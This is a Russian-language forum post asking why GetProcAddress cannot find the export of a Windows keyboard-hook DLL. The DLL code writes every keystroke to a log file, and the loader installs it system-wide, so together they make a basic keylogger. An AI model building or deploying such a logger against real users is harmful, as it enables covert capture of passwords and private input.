Добрый вечер форумчане...
Создаю DLL
C
#include <windows.h>
#include <stdio.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((f=fopen("logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
и программу
C
#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
typedef LRESULT (CALLBACK* lpfn)(int, WPARAM, LPARAM);
HHOOK hook;
int main(int argc, char *argv[])
{
HINSTANCE hDLL=LoadLibrary(L"hookDLL.dll");
FARPROC hookfunc=GetProcAddress(hDLL, "KeyboardProc");
hook=SetWindowsHookEx(WH_KEYBOARD,
(lpfn)hookfunc,
hDLL,
0 );
cout<<"hDll "<<hDLL<<endl;
cout<<"hookfunc "<<hookfunc<<endl;
cout<<"hook "<<hook<<endl;
return 0;
}
На что программа выводит
hDll 0x69980000
hookfunc false
hook 0x0
Вроде длл подгружается а функцию не видит...
В чем может быть ошибка при экспорте функции?